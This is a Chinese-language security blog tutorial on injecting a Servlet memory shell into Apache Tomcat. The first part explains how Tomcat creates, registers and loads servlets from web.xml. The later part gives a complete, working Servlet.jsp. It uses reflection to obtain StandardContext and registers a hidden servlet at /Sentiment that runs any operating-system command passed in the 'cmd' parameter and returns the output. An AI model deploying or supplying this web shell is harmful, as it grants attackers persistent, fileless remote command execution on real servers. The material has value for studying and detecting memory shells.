2022-07-28 09:15 清华大学 Java

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Tomcat Servlet内存马

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，它早期的名称为catalina，后来由Apache、Sun 和其他一些公司及个人共同开发而成，并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选，因为Tomcat 技术先进、性能稳定，成为目前比较流行的Web 应用服务器。Tomcat是应用（java）服务器，它只是一个servlet容器，是Apache的扩展，但它是独立运行的。

从宏观上来看，Tomcat其实是Web服务器和Servlet容器的结合体。

<pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器：通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。（比如访问某台电脑上的图片文件）
Servlet容器：顾名思义就是存放Servlet对象的东西，Servlet主要作用是处理URL请求。（接受请求、处理请求、响应请求） </pre>

Servlet接口一共有五个类分别是init（Servlet对象初始化时调用）、getServletConfig（获取web.xml中Servlet对应的init-param属性）、service（每次处理新的请求时调用）、getServletInfo（返回Servlet的配置信息，可自定义实现）、destroy（结束时调用）：

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet  { 
    void  init(ServletConfig var1)  throws  ServletException;

    ServletConfig  getServletConfig();

    void  service(ServletRequest var1,  ServletResponse var2)  throws  ServletException,  IOException;

    String  getServletInfo();

    void  destroy();
}</pre>

Servlet.java

<pre class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class  Servlet  extends  HttpServlet  { 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        resp.getWriter().write("Hello,Sentiment!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        doGet(req, resp);
    }
}</pre>

web.xml

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet> <servlet-name>hello</servlet-name> <servlet-class>memoryshell.Servlet</servlet-class> </servlet> <!--Servlet的请求路径--> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping></pre>

访问/hello

Servlet生成

本地没有catalina，所以加了个依赖，可能是版本不对在调试时可能会有一丢丢代码不匹配的问题，但不影响正常流程

依赖

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.19</version> </dependency></pre>

整个栈在ContextConfig调用了 configureStart#webConfig() 读取 web.xml

然后根据 web.xml 配置 context调用了 configureContext()

<pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok) { 
    this.configureContext(webXml);
}</pre>

跟进 configureContext() 前边依次读取了 Filter、Listenert的配置及其映射，我们直接看后边的 Servlet 部分：

首先通过 StandardContextS#createWrapper() ，创建wrapper对象

Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()  { 
Wrapper wrapper = null; if (wrapperClass != null) { try { 
        wrapper = (Wrapper) wrapperClass.newInstance();
    } catch (Throwable t) { 
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t); return (null);
    }
} else { 
    wrapper = new StandardWrapper();</pre>

接着设置了启动优先级LoadOnStartUp，以及servlet的Name。

设置好优先级后就调用下边的 setServletClass() ，配置了Servlet的Class。

<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());</pre>

最后通过 addChild() 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程，接下

来就需要添加Servlet-Mapper了（对应web.xml中的 <servlet-mapping> ）

取出web.xml中所有配置的Servlet-Mapping，通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

通过 context.createWapper() 创建 Wapper 对象；
设置 Servlet 的 LoadOnStartUp 的值；
设置 Servlet 的 Name；
设置 Servlet 对应的 Class；
通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试：

回溯到 StandardContext#startInternal 同样也是在处理完listener和filter后，处理Servlet，这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了 findChildren() ，将之前通过 addChild() 添加的所有Wapper传入 loadOnStartup() 中处理

跟进 loadOnStartup() ，children的值就是通过 this.findChildren() 传入进来的

通过循环将children中的值逐一赋给child，在赋值给wrapper中，之后有一段判断:

<pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0) { 
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null) { 
        list = new ArrayList();
        map.put(key, list);
    }

    list.add(wrapper);
}</pre>

如果loadOnStartup >= 0，就会将wrapper追加到list中，但loadOnStartup 的默认值是-1，

在servlet的配置当中即(web.xml)， <load-on-startup>1</load-on-startup> 的含义是：

标记容器是否在启动的时候就加载这个servlet。

当值为0或者大于0时，表示容器在应用启动时就加载这个servlet；

当是一个负数时或者没有指定时，则指示容器在该servlet被选择时才加载。

正数的值越小，启动该servlet的优先级越高。 </load-on-startup>

由于我们要注入内存马，且没有配置xml不会在应用启动时就加载这个servlet，因此需要通过反射将值修改为1，将其追加到list中

之后通过load()进行加载，根据具体请求进行初始化、调用、销毁一系列操作

Servlet内存马

首先通过doGet方法实现恶意类

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% HttpServlet httpServlet = new HttpServlet() { 
      @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ resp.getWriter().write(len);
        }
      }

      @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp);
      }
    };

%></pre>

之后还是老办法获取StandardContext：

<pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();
%></pre>

反射修改 loadOnStartup

<pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
%></pre>

最后将 URL 路径与 Servlet 恶意类做映射：

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定 stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name); %></pre>

Servlet.jsp

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedInputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Sentiment</title> </head> <body> <% HttpServlet httpServlet = new HttpServlet()  {  @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ resp.getWriter().write(len);  }  }  @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp);  }  };  //获得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext();  //从StandardContext.createWapper()获得一个Wapper对象 Wrapper newWrapper = stdcontext.createWrapper(); String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName());  //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name);  %></pre>